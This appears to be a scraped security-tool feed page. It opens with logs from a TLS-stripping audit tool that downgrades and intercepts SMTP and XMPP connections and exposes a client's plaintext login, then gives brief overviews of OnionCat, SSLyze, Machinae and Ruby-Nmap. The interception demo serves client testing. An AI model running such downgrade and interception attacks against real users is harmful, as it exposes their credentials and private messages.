2016-01-31 15:59:07,500 - DEBUG - <Session 0x1f46990> [client] => [server] 'ehlo [192.168.139.1]\r\n'
2016-01-31 15:59:07,565 - DEBUG - <Session 0x1f46990> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-01-31 15:59:07,581 - DEBUG - <Session 0x1f46990> [client] => [server] 'STARTTLS\r\n'
2016-01-31 15:59:07,581 - DEBUG - <Session 0x1f46990> [client] <= [server][mangled] '220 Go ahead\r\n'
2016-01-31 15:59:07,832 - DEBUG - <Session 0x1f46990> [client] <= [server][mangled] waiting for inbound SSL Handshake
2016-01-31 15:59:07,832 - DEBUG - <Session 0x1f46990> [client] => [server] 'STARTTLS\r\n'
2016-01-31 15:59:07,926 - DEBUG - <Session 0x1f46990> [client] => [server][mangled] performing outbound SSL handshake
2016-01-31 15:59:08,219 - DEBUG - <Session 0x1f46990> [client] => [server][mangled] None
2016-01-31 15:59:08,219 - DEBUG - <Session 0x1f46990> [client] => [server] 'ehlo [192.168.139.1]\r\n'
2016-01-31 15:59:08,312 - DEBUG - <Session 0x1f46990> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 69920427\r\n250 AUTH LOGIN PLAIN\r\n'
2016-01-31 15:59:08,312 - DEBUG - <Session 0x1f46990> [client] => [server] 'mail FROM:<a@b.com> size=10\r\n'
2016-01-31 15:59:08,407 - DEBUG - <Session 0x1f46990> [client] <= [server] '530 Authentication required\r\n'
2016-01-31 15:59:08,407 - DEBUG - <Session 0x1f46990> [client] => [server] 'rset\r\n'
2016-01-31 15:59:08,469 - DEBUG - <Session 0x1f46990> [client] <= [server] '250 OK\r\n'
2016-01-31 15:59:08,484 - WARNING - <Session 0x1f46990> terminated.

XMPP Audit Trail
Example: Pidgin with optional transport security.

XMPP.StripInboundTLS - Inbound Plain - Outbound TLS - in case server requires starttls
    python striptls --listen 0.0.0.0:5222 --remote jabber.ccc.de:5222 -k ../server.pem
2016-02-05 16:53:28,842 - INFO - <Proxy 0x7f08322ba310 listen=('0.0.0.0', 5222) target=('jabber.ccc.de', 5222)> ready.
...
2016-02-05 16:53:30,401 - DEBUG - <ProtocolDetect 0x7f083196a810 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)
...
2016-02-05 16:53:30,401 - INFO - <Session 0x7f083196a7d0> client ('192.168.139.1', 56888) has connected
2016-02-05 16:53:30,402 - INFO - <Session 0x7f083196a7d0> connecting to target ('jabber.ccc.de', 5222)
2016-02-05 16:53:30,923 - DEBUG - <Session 0x7f083196a7d0> [client] => [server] "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
2016-02-05 16:53:30,925 - DEBUG - <RewriteDispatcher - changed mangle: striptls.StripInboundTLS new: True>
2016-02-05 16:53:31,005 - DEBUG - <Session 0x7f083196a7d0> [client] <= [server] "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='13821701589972978594' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
2016-02-05 16:53:31,009 - DEBUG - <Session 0x7f083196a7d0> [client] <= [server] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
2016-02-05 16:53:31,012 - DEBUG - <Session 0x7f083196a7d0> [client] => [server][mangled] "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
2016-02-05 16:53:31,069 - DEBUG - <Session 0x7f083196a7d0> [client] => [server][mangled] performing outbound SSL handshake
2016-02-05 16:53:31,199 - DEBUG - <Session 0x7f083196a7d0> [client] <= [server][mangled] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/></stream:features>"
2016-02-05 16:53:31,203 - DEBUG - <Session 0x7f083196a7d0> [client] => [server] "<iq type='get' id='purple9f914f80'><query xmlns='jabber:iq:auth'><username>tin</username></query></iq>"
2016-02-05 16:53:31,259 - DEBUG - <Session 0x7f083196a7d0> [client] <= [server] "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='13515446948282835507' from='jabber.ccc.de' xml:lang='en'>"
2016-02-05 16:53:31,263 - DEBUG - <Session 0x7f083196a7d0> [client] <= [server] "<stream:error><invalid-namespace xmlns='urn:ietf:params:xml:ns:xmpp-streams'></invalid-namespace></stream:error>"
2016-02-05 16:53:31,266 - DEBUG - <Session 0x7f083196a7d0> [client] <= [server] '</stream:stream>'
2016-02-05 16:53:31,269 - WARNING - <Session 0x7f083196a7d0> terminated.

XMPP.StripFromCapabilities - strip starttls server annoucement
    2016-02-05 16:53:34,633 - DEBUG    - <ProtocolDetect 0x7f083196a990 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)
2016-02-05 16:53:34,633 - INFO - <Session 0x7f083196a910> client ('192.168.139.1', 56890) has connected
2016-02-05 16:53:34,633 - INFO - <Session 0x7f083196a910> connecting to target ('jabber.ccc.de', 5222)
2016-02-05 16:53:34,741 - DEBUG - <Session 0x7f083196a910> [client] => [server] "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
2016-02-05 16:53:34,742 - DEBUG - <RewriteDispatcher - changed mangle: striptls.StripFromCapabilities new: True>
2016-02-05 16:53:34,810 - DEBUG - <Session 0x7f083196a910> [client] <= [server] "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='12381525525258986322' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
2016-02-05 16:53:34,814 - DEBUG - <Session 0x7f083196a910> [client] <= [server] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
2016-02-05 16:53:34,816 - DEBUG - <Session 0x7f083196a910> [client] <= [server][mangled] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/></stream:features>"
2016-02-05 16:53:34,869 - DEBUG - <Session 0x7f083196a910> [client] => [server] "<iq type='get' id='purplecfe2ee07'><query xmlns='jabber:iq:auth'><username>tin</username></query></iq>"
2016-02-05 16:53:34,920 - DEBUG - <Session 0x7f083196a910> [client] <= [server] "<stream:error><policy-violation xmlns='urn:ietf:params:xml:ns:xmpp-streams'></policy-violation><text xml:lang='' xmlns='urn:ietf:params:xml:ns:xmpp-streams'>Use of STARTTLS required</text></stream:error></stream:stream>"
2016-02-05 16:53:34,926 - WARNING - <Session 0x7f083196a910> terminated.

XMPP.StripUntrustedIntercept - TLS Interception inbound and outbound with own certificate/key
    2016-02-05 16:53:42,799 - DEBUG    - <ProtocolDetect 0x7f083196aa90 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)
2016-02-05 16:53:42,799 - INFO - <Session 0x7f083196a8d0> client ('192.168.139.1', 56892) has connected
2016-02-05 16:53:42,799 - INFO - <Session 0x7f083196a8d0> connecting to target ('jabber.ccc.de', 5222)
2016-02-05 16:53:42,901 - DEBUG - <Session 0x7f083196a8d0> [client] => [server] "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
2016-02-05 16:53:42,903 - DEBUG - <RewriteDispatcher - changed mangle: striptls.UntrustedIntercept new: True>
2016-02-05 16:53:42,980 - DEBUG - <Session 0x7f083196a8d0> [client] <= [server] "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='10051743579572304948' from='jabber.ccc.de' version='1.0' xml:lang='en'><stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
2016-02-05 16:53:42,984 - DEBUG - <Session 0x7f083196a8d0> [client] => [server] "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
2016-02-05 16:53:42,986 - DEBUG - <Session 0x7f083196a8d0> [client] <= [server][mangled] "<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
2016-02-05 16:53:43,006 - DEBUG - <Session 0x7f083196a8d0> [client] <= [server][mangled] waiting for inbound SSL Handshake
2016-02-05 16:53:43,008 - DEBUG - <Session 0x7f083196a8d0> [client] => [server] "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
2016-02-05 16:53:43,060 - DEBUG - <Session 0x7f083196a8d0> [client] => [server][mangled] performing outbound SSL handshake
2016-02-05 16:53:43,219 - DEBUG - <Session 0x7f083196a8d0> [client] => [server][mangled] None
2016-02-05 16:53:43,221 - DEBUG - <Session 0x7f083196a8d0> [client] => [server] '<'
2016-02-05 16:53:43,225 - DEBUG - <Session 0x7f083196a8d0> [client] => [server] "stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
2016-02-05 16:53:43,369 - DEBUG - <Session 0x7f083196a8d0> [client] <= [server] "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='6938642107398534259' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
2016-02-05 16:53:43,379 - DEBUG - <Session 0x7f083196a8d0> [client] <= [server] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><register xmlns='http://jabber.org/features/iq-register'/><mechanisms xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><mechanism>PLAIN</mechanism><mechanism>X-OAUTH2</mechanism><mechanism>SCRAM-SHA-1</mechanism></mechanisms></stream:features>"
2016-02-05 16:53:43,423 - DEBUG - <Session 0x7f083196a8d0> [client] => [server] '<'
2016-02-05 16:53:43,426 - DEBUG - <Session 0x7f083196a8d0> [client] => [server] "auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN' xmlns:ga='http://www.google.com/talk/protocol/auth' ga:client-uses-full-bind-result='true'>AHRpbgB4eA==</auth>"
2016-02-05 16:53:43,581 - DEBUG - <Session 0x7f083196a8d0> [client] <= [server] "<failure xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><not-authorized/></failure>"
2016-02-05 16:53:43,611 - DEBUG - <Session 0x7f083196a8d0> [client] => [server] '<'
2016-02-05 16:53:43,616 - DEBUG - <Session 0x7f083196a8d0> [client] => [server] '/stream:stream>'
2016-02-05 16:53:43,620 - WARNING - <Session 0x7f083196a8d0> terminated.

XMPP Audit results
    2016-02-05 16:53:46,352 - WARNING  - Ctrl C - Stopping server
2016-02-05 16:53:46,353 - INFO - -- audit results --
2016-02-05 16:53:46,353 - INFO - [*] client: 192.168.139.1
2016-02-05 16:53:46,353 - INFO - [Vulnerable!] <class striptls.StripInboundTLS at 0x7f08319a6808>
2016-02-05 16:53:46,353 - INFO - [Vulnerable!] <class striptls.StripFromCapabilities at 0x7f08319a67a0>
2016-02-05 16:53:46,353 - INFO - [Vulnerable!] <class striptls.UntrustedIntercept at 0x7f08319a6870>


OnionCat - An Anonymous VPN-Adapter (P2P layer 3 VPN based on Tor or I2P)

$
0
0
OnionCat is a VPN-adapter which allows to connect two or more computers or networks through VPN-tunnels. It is designed to use the anonymization networks Tor or I2P as its transport, hence, it provides location-based anonymity while still creating tunnel end points with private unique IP addresses.

OnionCat uses IPv6 as native layer 3 network protocol. The clients connected by it appear as on a single logical IPv6 network as being connected by a virtual switch. OnionCat automatically calculates and assigns unique IPv6 addresses to the tunnel end points which are derived from the hidden service ID (onion ID) of the hidden service of the local Tor client, or the local I2P server destination, respectively. This technique provides authentication between the onion ID and the layer 3 address, hence, defeats IP spoofing within the OnionCat VPN.

If necessary, OnionCat can of course transport IPv4 as well. Although it has native IP support, the suggested way to do this is to configure an IPv4-in-IPv6 tunnel.


SSLyze - Fast And Full-Featured SSL Scanner

$
0
0

SSLyze is a Python tool that can analyze the SSL configuration of a server by connecting to it. It is designed to be fast and comprehensive, and should help organizations and testers identify mis-configurations affecting their SSL servers.
Key features include:
  • Multi-processed and multi-threaded scanning: it's very fast.
  • Support for all SSL protocols, from SSL 2.0 to TLS 1.2.
  • NEW: SSLyze can also be used as a library, in order to run scans and process the results directly from Python.
  • Performance testing: session resumption and TLS tickets support.
  • Security testing: weak cipher suites, insecure renegotiation, CRIME, Heartbleed and more.
  • Server certificate validation and revocation checking through OCSP stapling.
  • Support for StartTLS handshakes on SMTP, XMPP, LDAP, POP, IMAP, RDP, PostGres and FTP.
  • Support for client certificates when scanning servers that perform mutual authentication.
  • Scan results can be written to an XML or JSON file for further processing.
  • And much more !

Getting Started
SSLyze can be installed directly via pip:
pip install sslyze
It is also easy to directly clone the repository and the fetch the requirements:
git clone https://github.com/nabla-c0d3/sslyze.git
cd sslyze
pip install -r requirements.txt --target ./lib
Then, the command line tool can be used to scan servers:
python sslyze_cli.py --regular www.yahoo.com:443 www.google.com
SSLyze has been tested on the following platforms: Windows 7 (32 and 64 bits), Debian 7 (32 and 64 bits), OS X El Capitan.

Usage as a library
Starting with version 0.13.0, SSLyze can be used as a Python module in order to run scans and process the results directly in Python:
# Script to get the list of SSLv3 cipher suites supported by smtp.gmail.com
hostname = 'smtp.gmail.com'
try:
# First we must ensure that the server is reachable
server_info = ServerConnectivityInfo(hostname=hostname, port=587,
tls_wrapped_protocol=TlsWrappedProtocolEnum.STARTTLS_SMTP)
server_info.test_connectivity_to_server()
except ServerConnectivityError as e:
raise RuntimeError('Error when connecting to {}: {}'.format(hostname, e.error_msg))

# Get the list of available plugins
sslyze_plugins = PluginsFinder()

# Create a process pool to run scanning commands concurrently
plugins_process_pool = PluginsProcessPool(sslyze_plugins)

# Queue a scan command to get the server's certificate
plugins_process_pool.queue_plugin_task(server_info, 'sslv3')

# Process the result and print the certificate CN
for plugin_result in plugins_process_pool.get_results():
if plugin_result.plugin_command == 'sslv3':
# Do something with the result
print 'SSLV3 cipher suites'
for cipher in plugin_result.accepted_cipher_list:
print ' {}'.format(cipher.name)
The scan commands are same as the ones described in the sslyze_cly.py --help text.
They will all be run concurrently using Python's multiprocessing module. Each command will return a PluginResult object with attributes that contain the result of the scan command run on the server (such as list of supported cipher suites for the --tlsv1 command). These attributes are specific to each plugin and command but are all documented (within each plugin's module).
See api_sample.py for more examples of SSLyze's Python API.

Windows executable
A pre-compiled Windows executable is available in the Releases tab. The package can also be generated by running the following command:
python.exe setup_py2exe.py py2exe


Machinae - Security Intelligence Collector

$
0
0

Machinae is a tool for collecting intelligence from public sites/feeds about various security-related pieces of data: IP addresses, domain names, URLs, email addresses, file hashes and SSL fingerprints. It was inspired by Automater , another excellent tool for collecting information. The Machinae project was born from wishing to improve Automater in 4 areas:
  1. Codebase - Bring Automater to python3 compatibility while making the code more pythonic
  2. Configuration - Use a more human readable configuration format (YAML)
  3. Inputs - Support JSON parsing out-of-the-box without the need to write regular expressions, but still support regex scraping when needed
  4. Outputs - Support additional output types, including JSON, while making extraneous output optional

Installation
Machinae can be installed using pip3:
pip3 install machinae
Or, if you're feeling adventurous, can be installed directly from github:
pip3 install git+https://github.com/HurricaneLabs/machinae.git
You will need to have whatever dependencies are required on your system for compiling Python modules (on Debian based systems, python3-dev ), as well as the libyaml development package (on Debian based systems, libyaml-dev ).
You'll also want to grab the latest configuration file and place it in /etc/machinae.yml .

Configuration File
Machinae supports a simple configuration merging system to allow you to make adjustments to the configuration without modifying the machinae.yml we provide you, making configuration updates a snap. This is done by finding a system-wide default configuration (default /etc/machinae.yml ), merging into that a system-wide local configuration ( /etc/machinae.local.yml ) and finally a per-user local configuration ( ~/.machinae.yml ). The system-wide configuration can also be located in the current working directory, can be set using the MACHINAE_CONFIG environment variable, or of course by using the -c or --config command line options. Configuration merging can be disabled by passing the --nomerge option, which will cause Machinae to only load the default system-wide configuration (or the one passed on the command line).
As an example of this, say you'd like to enable the Fortinet Category site, which is disabled by default. You could modify /etc/machinae.yml , but these changes would be overwritten by an update. Instead, you can put the following in either /etc/machinae.local.yml or ~/.machinae.yml :
fortinet_classify:
default: true
Or, conversely, to disable a site, such as Virus Total pDNS:
vt_ip:
default: false
vt_domain:
default: false

Usage
Machinae usage is very similar to Automater:
usage: machinae [-h] [-c CONFIG] [-d DELAY] [-f FILE] [--nomerge] [-o {D,J,N}]
[-O {ipv4,ipv6,fqdn,email,sslfp,hash,url}] [-q] [-s SITES]
targets [targets ...]
  • See above for details on the -c / --config and --nomerge options.
  • Machinae supports a -d / --delay option, like Automater. However, Machinae uses 0 by default.
  • Machinae output is controlled by two arguments:
    • -o controls the output format, and can be followed by a single character to indicated the desired type of output:
      • N is the default output ("Normal")
      • D is the default output, but dot characters are replaced
      • J is JSON output
    • -f / --file specifies the file where output should be written. The default is "-" for stdout.
  • Machinae will attempt to auto-detect the type of target passed in (Machinae refers to targets as "observables" and the type as "otype"). This detection can be overridden with the -O / --otype option. The choices are listed in the usage
  • By default, Machinae operates in verbose mode. In this mode, it will output status information about the services it is querying on the console as they are queried. This output will always be written to stdout, regardless of the output setting. To disable verbose mode, use -q
  • By default, Machinae will run through all services in the configuration that apply to each target's otype and are not marked as "default: false". To modify this behavior, you can:
    • Pass a comma separated list of sites to run (use the top level key from the configuration).
    • Pass the special keyword all to run through all services including those marked as "default: false"
    Note that in both cases, otype validation is still applied.
  • Lastly, a list of targets should be passed. All arguments other than the options listed above will be interpreted as targets.

Out-of-the-Box Data Sources
Machinae comes with out-of-the-box support for the following data sources:
  • IPVoid
  • URLVoid
  • URL Unshortener ( http://www.toolsvoid.com/unshorten-url )
  • Malc0de
  • SANS
  • Telize GeoIP
  • Fortinet Category
  • VirusTotal pDNS (via web scrape - commented out)
  • VirusTotal pDNS (via JSON API)
  • VirusTotal URL Report (via JSON API)
  • VirusTotal File Report (via JSON API)
  • Reputation Authority
  • ThreatExpert
  • VxVault
  • ProjectHoneypot
  • McAfee Threat Intelligence
  • StopForumSpam
  • Cymru MHR
  • ICSI Certificate Notary
  • TotalHash (disabled by default)
  • DomainTools Parsed Whois (Requires API key)
  • DomainTools Reverse Whois (Requires API key)
  • DomainTools Reputation
  • IP WHOIS (Using RIR REST interfaces)
With additional data sources on the way.

Disabled by default
The following sites are disabled by default
  • Fortinet Category ( fortinet_classify )
  • TotalHash ( totalhash_ip )
  • DomainTools Parsed Whois ( domaintools_parsed_whois )
  • DomainTools Reverse Whois ( domaintools_reverse_whois )
  • DomainTools Reputation ( domaintools_reputation )

Output Formats
Machinae comes with a limited set of output formats: normal, normal with dot escaping, and JSON. We plan to add additional output formats in the future.

Adding additional sites
*** COMING SOON ***

Known Issues
  • Some ISP's on IPvoid contain double-encoded HTML entities, which are not double-decoded

Upcoming Features
  • Add IDS rule search functionality (VRT/ET)
  • Add "More info" link for sites
  • Add "dedup" option to parser settings
  • Add option for per-otype request settings
  • Add custom per-site output for error codes

Version History

Version 1.2.0 (2016-02-16)
  • New features
    • Support for sites returning multiple JSON documents
    • Ability to specify time format for relative time parameters
    • Ability to parse Unix timestamps in results and display in ISO-8601 format
    • Ability to specify status codes to ignore per-API
  • New sites
    • DNSDB - FarSight Security Passive DNS Data base (premium)

Version 1.1.2 (2015-11-26)
  • New sites
    • Telize (premium) - GeoIP site (premium)
    • Freegeoip - GeoIP site (free)
    • CIF - CIFv2 API support, from csirtgadgets.org
  • New features
    • Ability to specify labels for single-line multimatch JSON outputs
    • Ability to specify relative time parameters using relatime library

Version 1.0.1 (2015-10-13)
  • Fixed a false-positive bug with Spamhaus (Github#10)

Version 1.0.0 (2015-07-02)
  • Initial release


Ruby-Nmap - A Rubyful interface to the Nmap exploration tool and security / port scanner

$
0
0
A Ruby interface to nmap , the exploration tool and security / port scanner.

Features
  • Provides a Ruby interface for running nmap.
  • Provides a Parser for enumerating nmap XML scan files.

Examples
Run Nmap from Ruby:
require 'nmap/program'

Nmap::Program.scan do |nmap|
nmap.syn_scan = true
nmap.service_scan = true
nmap.os_fingerprint = true
nmap.xml = 'scan.xml'
nmap.verbose = true

nmap.ports = [20,21,22,23,25,80,110,443,512,522,8080,1080]
nmap.targets = '192.168.1.*'
end
Parse Nmap XML scan files:
require 'nmap/xml'

Nmap::XML.new('scan.xml') do |xml|
xml.each_host do |host|
puts "[#{host.ip}]"

host.each_port do |port|
puts " #{port.number}/#{port.protocol}\t#{port.state}\t#{port.service}"
end
end
end
Print NSE script output from an XML scan file:
require 'nmap/xml'

Nmap::XML.new('nse.xml') do |xml|
xml.each_host do |host|
puts "[#{host.ip}]"

host.scripts.each do |name,output|
output.each_line { |line| puts " #{line}" }
end

host.each_port do |port|
puts " [#{port.number}/#{port.protocol}]"

port.scripts.each do |name,output|
puts " [#{name}]"

output.each_line { |line| puts " #{line}" }
end
end
end
end

Requirements

Install
$ gem install ruby-nmap


Viewing all 5816 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>